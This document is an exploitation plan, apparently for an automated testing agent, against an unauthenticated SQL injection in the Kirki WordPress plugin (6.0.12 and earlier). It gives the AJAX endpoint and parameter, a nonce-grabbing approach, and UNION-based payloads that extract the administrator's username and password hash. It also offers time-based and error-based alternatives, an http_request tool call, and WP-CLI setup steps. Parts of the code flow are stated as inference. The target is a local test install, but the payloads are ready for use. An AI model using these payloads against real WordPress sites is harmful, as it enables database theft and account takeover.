Kirki – Freeform Page Builder, Website Builder & Customizer <= 6.0.12 - Unauthenticated SQL Injection

This exploitation research plan targets CVE-2026-57726, an unauthenticated SQL Injection vulnerability in the Kirki plugin.

1. Vulnerability Summary

• Vulnerability: Unauthenticated SQL Injection (SQLi).
• Location: The vulnerability resides in the handling of AJAX or REST API requests where user-supplied parameters (specifically related to post IDs or configuration endpoints) are concatenated into SQL queries without proper use of $wpdb->prepare() or sufficient escaping.
• Cause: Insufficient neutralization of the postId or endpoint parameters (as seen in the admin JS) when performing database lookups.
• Impact: Unauthenticated attackers can extract sensitive data from the WordPress database, including user hashes, secret keys, and configuration data.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: kirki_post_apis (Inferred from assets/js/admin/custom-link-in-toolbar.js).
• Vulnerable Parameter: postId (Primary suspect) or endpoint.
• Authentication: Unauthenticated (vulnerability is likely exposed via wp_ajax_nopriv_kirki_post_apis).
• Preconditions: The plugin must be active. The vulnerability is unauthenticated, so no user account is required.

3. Code Flow

1. Entry Point: An unauthenticated request is sent to admin-ajax.php?action=kirki_post_apis.
2. Hook Registration: The plugin registers the action (likely in a file like includes/Admin/Admin.php or within the API.php initialization logic, though the specific registration line is truncated in the provided source).
3. Handler Execution: The handler for kirki_post_apis receives $_POST['postId'].
4. Vulnerable Sink: The handler passes postId into a raw SQL query.
   • Example Vulnerable Pattern: $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['postId']);
5. Data Return: The results of the query (or error messages) are returned in the JSON response.

4. Nonce Acquisition Strategy

While the vulnerability is listed as unauthenticated, WordPress AJAX handlers often check for a nonce. The JS file assets/js/admin/custom-link-in-toolbar.js indicates the nonce is stored in kirki_admin.nonce.

Strategy to obtain the nonce:

1. Kirki enqueues its admin scripts when certain conditions are met. Since it's a page builder, the scripts likely load on the frontend if the user has specific permissions, or are localized globally.
2. Identify the Script Localization: Search the codebase for wp_localize_script(..., 'kirki_admin', ...) to see where the nonce is generated.
3. Create a Trigger Page:
   • wp post create --post_type=page --post_title="Kirki Test" --post_status=publish --post_content=''
4. Navigate and Extract:
   • Navigate to the homepage or the newly created page.
   • Use browser_eval to check for the nonce: window.kirki_admin?.nonce.
5. Note: If wp_ajax_nopriv_kirki_post_apis is used, the developer may have neglected the nonce check or used a nonce that is accessible to unauthenticated users.

5. Exploitation Strategy

We will use a UNION-based SQL injection to extract the administrator's password hash.

Step 1: Determine Column Count

• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=kirki_post_apis&endpoint=back-to-kirki-editor&postId=1 ORDER BY 1-- -
  

• Increment the ORDER BY number until a change in response length or a database error occurs.

Step 2: Locate Output Columns

• Payload: 1 UNION SELECT NULL,NULL,NULL,NULL,NULL-- - (adjusting NULLs based on Step 1).
• Replace NULLs with unique strings (e.g., 'col1', 'col2') to see which appear in the JSON response.

Step 3: Extract Data (Admin Hash)

• Payload: 1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -
• HTTP Request (Example):

  // Using http_request tool
  await http_request({
      url: "http://localhost:8080/wp-admin/admin-ajax.php",
      method: "POST",
      form: {
          action: "kirki_post_apis",
          endpoint: "back-to-kirki-editor",
          postId: "1 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users WHERE ID=1-- -",
          nonce: "EXTRACTED_NONCE_HERE" // if required
      }
  });
  

6. Test Data Setup

1. Ensure a user with ID 1 exists (standard WordPress admin).
2. Ensure the Kirki plugin is active: wp plugin activate kirki.
3. (Optional) Create a post to ensure the kirki_post_apis logic has a valid postId to pivot from: wp post create --post_status=publish.

7. Expected Results

• The response should be a JSON object.
• Inside the JSON (likely in a data or message field), the administrator's username and the phpass-encrypted password hash (starting with $P$) should be visible.

8. Verification Steps

After the attack, verify the extracted hash matches the database:

• wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
• Compare the output of the CLI command with the data extracted via the HTTP request.

9. Alternative Approaches

• Time-based Blind SQLi: If the response does not reflect the query results, use SLEEP() payloads:
  • 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
• Error-based SQLi: If WP_DEBUG is on, use updatexml() or extractvalue():
  • 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
• REST API: Check routes registered in FrontendApi::register() (from includes/API.php) for similar parameter handling. Use wp-json/kirki/v1/... (inferred prefix) if AJAX is secured.